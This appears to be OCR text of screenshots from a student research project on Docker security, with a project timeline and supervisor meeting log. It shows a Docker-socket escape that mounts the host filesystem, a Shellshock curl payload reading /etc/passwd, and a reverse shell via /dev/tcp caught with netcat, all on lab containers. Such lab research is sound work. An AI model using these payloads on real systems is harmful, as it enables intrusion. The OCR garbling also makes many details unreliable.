* Support: https://ubuntu.con/advantage

The prograns included with the Ubuntu systen are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/* copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@sdc7ebefeas: i ||
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root@@a241f1fcea2:~# ssh root@172.17.6.3
The authenticity of host '172.17.8.3 (172.17.8.3)' can't be established.
ECDSA key fingerprint is SHA256:2851uLYNPWXBHNGNJBST 620bOTWNTRTrkFAYaB3rs .
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '172.17.8.3' (ECDSA) to the list of known hosts.
root@172.17.6.3's password:

Welcome to Ubuntu 16.84.7 LTS (GNU/Linux 5.4.8-77-generic x86_64)

* Documentation: https://help.ubuntu.con
* Managenent:  https://landscape.canonical.con

* Support: https://ubuntu.con/advantage

Last login: Fri Aug 27 00:43:69 2021 from 172.17..1
root@sdc78ebefeas: i ||
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/ # ssh root@172.17.e.3

The authenticity of host '172.17.0.3 (172.17.6.3)' can't be established.

ED25519 key fingerprint is SHA256:7030scDeAzwL31GAv4hZXquQyaBY2R4N1PjQ45QsYco.

This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: 172.17.0.2

Are you sure you want to continue connecting (yes/mo/[fingerprint])? yes

Warning: Permanently added '172.17.0.3' (ED25519) to the list of known hosts.

root@172.17.0.3's password:

Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 5.4.0-77-generic x86_64)

* Documentation: http
* Management: https://landscape.canonical.con

* support Jubuntu. con/advantage

Last login: Fri Aug 27 60:49:53 2621 from 172.17.0.2
root@sdc78ebsfeas:~# ll

/help.ubuntu.con
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rootigbazalrircoaz:~# cat /proc/selt/cgroup

12:cpuset: /docker /EEFZBRBRZEER 9b9f actb8d133babsdad7f91d63867772642C 5e556d6e06aeCT
11:blkio: /docker/0a241f1fca2f9b9facfb8d133b4b6d4d7f91d63867772642c Se556d6e06aecT
10:devices: /docker /0a241f1fc0a2f9b9facfb8d133bab6d4d7f91d63867772642c5e556d6e06aecT
memor /docker /83241 1fc@a2f9b9facfb8d133bab6dad7f91d63867772642c5e556d6e06aecT
-dm
uget1b: /docker/8a241f1fc@a2f9b9facfb8d133bab6dad7f91d63867772642c5e556d6e06aecT
6:perf_event: /docker/08a241f1fc@a2f9b9facfb8d133bab6d4d7f91d63867772642c5e556d6e06aecT
‘reezer : /docker /8a2411fc@a2f9b9fac fb8d133bab6dad7f91d63867772642c5e556d6e06aecT
net_cls,net_prio:/docker/@a241f1fc0a2f9b9facfb8d133bab6d4d7f91d63867772642c5e556d6e06aecT
pids:/docker /0a241f1fc0a2f9b9facfbBd133bab6ddd7f91d63867772642c Se556d6e06aecT

2:cpu, cpuacct: /docker /0a241f1fc8a2f9b9facfb8d133b4b6d4d7f91d63867772642cSe556d6e86aecT
ane=systemd: /docker /@a241f1fc@a2f9b9facfb8d133bab6dad7f91d63867772642c5e556d6e06aecT
/systen.slice/containerd.service

root@0a241f1fcea2:~# exit

Logout

Connection to 127.6.0.1 closed.
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Jnnn (@ubuntu:~/Desktop/NOSSHS docker run -v /var/run/docker.sock:/var/run/docker.sock/ -ti docker
i dock dock ks dock K dock
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/ # docker -H uni:

CONTAINER ID
3672a153a2da
4f94b5a08169
490e68e35330
1681dd5a5276
3 |

IMAGE

docker
alpine
ssh_disabled
ssh_enabled

//var/run/docker.sock ps -a

'COMMAND
locker -entrypoint.s..
i

usr/sbin/sshd -D"
*Jusr/sbin/sshd -D

CREATED

2 minutes ago
19 minutes ago
3 hours ago

3 hours ago

STATUS PORTS.
Up 2 minutes

Exited (125) 15 minutes ago

Exited (@) 22 minutes ago

Exited (@) 22 minutes ago

NAMES
blissful_morse
alpine1
con_nossh
con_ssh
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/ # docker -H uni:
REPOSITORY
ssh_disabled
ssh_enabled
alpine

docker

ubuntu
127.0.0.1:5000/my-nginx
my-nginx
yohan1304/my-nginx

ubuntu
vulnerables/cve-2014-6271
A |

TAG
latest
latest
latest
latest
16.04

latest
latest
latest
latest
latest

//var/run/docker.sock images

IMAGE ID
bi5acd6fb3cc
37b75d703d88
021b3423115F
51453dcddobd
38b3fad640d4
a76bag3bbcaa
a76bag3bbcaa
a76bag3bbcaa
£63181F19b2f
790a145cf22f

CREATED
4 days ago

4 days ago

3 weeks ago
3 weeks ago
5 weeks ago
6 months ago
6 months ago
6 months ago
7 months ago
3 years ago

SIZE
220MB
220MB
5.6MB
215MB
135MB
159MB
159MB
159MB
72.9MB
145MB
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/ # docker run -v /:/host --rm -it busybox sh
/ # id
id=6(root) gid=0(ros

groups=10(wheel)
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/ # cd home

/home # s

bin dev initrd.ing 1ib32 nedia
boot etc initrd.ing.old lib64 mnt
cdron home lib Tlost+found opt

/home # cd home

/home/home # 1s

attacker  jonny privilege

/home/home # id

uid=e(root) gid=6(root) groups=10(wheel)
/home/home # cd jonny

/home/home/jonny # cd Desktop
/home/home/jonny/Desktop # 1s

NOSSH NOSSH2 PRIVILEGE SSH SSH2
/home /home/jonny/Desktop # [l

proc
root
run

sbin
srv
B

tmp
usr
var

vnlinuz
vnlinuz.old
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yvohannes@ubuntu:~/DesktopS docker run -it --rm -p 8080:80 --name exploit vulner
ables/cve-2014-6271

apache2: Could not reliably determine the server's fully qualified domain name,
using 172.17.0.2 for ServerName
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Vulnerables | shellshock x +

C O O localhost

This image is vulnerable to
ShellShock, please exploit it

The script is at /cgi-bin/vulnerable
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yohannes@Johnny

/ # apk add curl

fetch
fetch
.gz

(1/5)
(2/5)
(3/5)
(a/5)
(5/5)

https://dl-
https://dl-

Installing
Installing
Installing
Installing
Installing

/Desktop$ docker run -it --name Attacker2 alpine /bin/sh

cdn.alpinelinux.org/alpine/v3.14/main/x86_64/APKINDEX.tar.gz
cdn.alpinelinux.org/alpine/v3.14/community/x86_64/APKINDEX. tar

ca-certificates (20191127-r5)
brotli-1libs (1.0.9-r5)
nghttp2-1ibs (1.43.0-r0©)
1libcurl (7.78.0-r0)

curl (7.78.0-r0)

Executing busybox-1.33.1-r3.trigger
Executing ca-certificates-20191127-r5.trigger
OK: 8 MiB in 19 packages

s = B
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yohannes@ubuntu:~/Desktop$ docker ps

CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS NAMES
cl15c8d8ac7a4 alpine "/bin/sh" 14 seconds ago
Up 13 seconds Attacker2
aaS5c858cidid alpine "/bin/sh"” 28 seconds ago
Up 27 seconds Attacker1
e1f9adiesdos vulnerables/cve-2014-6271 "/main.sh default” 3 minutes ago
Up 3 minutes ©.0.0.0:8080->80/tcp, :8080->80/tcp exploit

yohannes@ubuntu:~/Desktop$
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"Name": "exploit",

"EndpointID": "ba7c7a2baa5ac3470b7721e58bc4320773b96447121aba14
72393e760bd6194c",

"MacAddress": "02:42:3c:11:00:02",

"IPv4Address 72.17.6.2/16",

"IPv6Address"

1
"4f2dc1a70bbab7cfab2de7f8c363964db2b779f230113b60718280efe9e1569¢" :

"Name": "Attacker2",

"EndpointID": "04d31d61dac27f3cb991f9a16ccba4db835a90f5a7de6dad
I6bf47d16271099b" ,

"MacAddress": "02:42:ac:11:00:04",

"IPv4Address": "172.17.6.4/16",

"IPv6Address
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/ # curl -H "user-agent: () { }; echo; echo; /bin/bash -c 'cat /etc/passwd’
http://172.17.0.2:80/cgi-bin/vulnerable

®©:0:root:/root:/bin/bash
:1:1:daemon:/usr/sbin:/bin/sh
2:bin:/bin:/bin/sh
dev:/bin/sh
ync:/bin:/bin/sync
5:60:games: /usr/games: /bin/sh
12:man:/var/cache/man:/bin/sh
:7:1p:/var/spool/lpd: /bin/sh

var/spool/news:/bin/sh
STCRICRTITE b/ b oo s/t
proxy:/bin:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

:Mailing List Manager:/var/list:/bin/sh
x:39:39:1ircd:/var/run/ircd:/bin/sh

nats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
5534:nobody: /nonexistent:/bin/sh
1@1::/var/lib/libuuid:/bin/sh
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/ # curl -H "user-agent: () { :;}; echo; echo; /bin/bash -c 'bash -i1 >& /dev/tc
p/172.17.0.4flaaaa ©>&1'" http://172.17.0.2:80/cgi-bin/vulnerable
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/ # nc -lvpn 4444

w: bad local port 'n’

/ # nc_-lvp 4444

lListening on [::]:4444 ...

-onnect to [::ffff:172.17.0.4]1:4444 from [::ffff:172.17.0.2]:59478 ([::ffff:172.17.0.2]1:59478)
ww-data@269d76e14741: fusr/Llib/cgi-bins [
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www -data@83dac2fba746: /var /wwws 1s
1s
index.html

www-data@s3dac2fba74c6:/var/wwws cat index.html
cat index.html

~html>
<head><title>Vulnerables | Shellshock</title></head>
<body=>
=h1>This image is vulnerable to Shellshock, please exploit it</hi>
<pre>The script is at /cgi-bin/vulnerable</pre>
</body=>
</hEtml>

www -data@s83dac2fba746: /var/wwws l
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attacker@ubuntu:/home/jonny/Desktop$ sudo bash

[sudo] password for attacker:

sttacker is not in the sudoers file. This incident will be reported.
attacker@ubuntu: /home/jonny/Desktops [l
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Jonny@ubuntu:~$ sudo bash
root@ubuntu: /home/jonny# exit
exit

jonny@ubuntu:~$ ]
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L] » 4 examine Docker security with poisoned images 60.25days  Wed 02/06/21 Tue 05/10/21 0%
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- Research Approach 2 days Wed 14/07/21 Mon 19/07/21 17 0%
- Resarch Strategies 2 days Mon 19/07/21 Thu22/07/21 18 0%
- Research Time Horizones 2 days Thu 22/07/21 Tue 27/07/21 19 0%
- Research Design 0.67 days Thu 05/08/21 Thu 05/08/21 20 0%
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15/7/2021 | Meeting with the project supervisor Dr | Discuss about the research topic.
Carlene
21/7/2021 | Start writing and researching Background research started
29/7/2021 | Meeting with the project supervisor Dr | Discuss and track the progress of each task.
Carlene
15/08/2021 | Meeting with the project supervisor Dr | Discuss the outcome of the literature review and
Carlene research methodology parts.
21/08/2021 | Start design and implementation Planning on how to design the attacks.
28/08/2021 | Meeting with the project supervisor Discuss about the implementation process.
15/09/2021 | Start testing and experimenting | The author started to test and experiment with
the security attacks.
25/09/2021 | Meeting with the project supervisor Discuss about the test and experiment process
and how to collect data
5/10/2021 | Start results and discussion. The author has started to evaluate and discuss
the results obtained from the experiment.
21/10/2021 | Meeting with the project supervisor We discussed on how to structure the project
professionally.
30/10/2021 | start writing conclusion part The author has started writing a conclusion
report of the project.
12/11/2021 | Submit the project Submit the final project before the deadline
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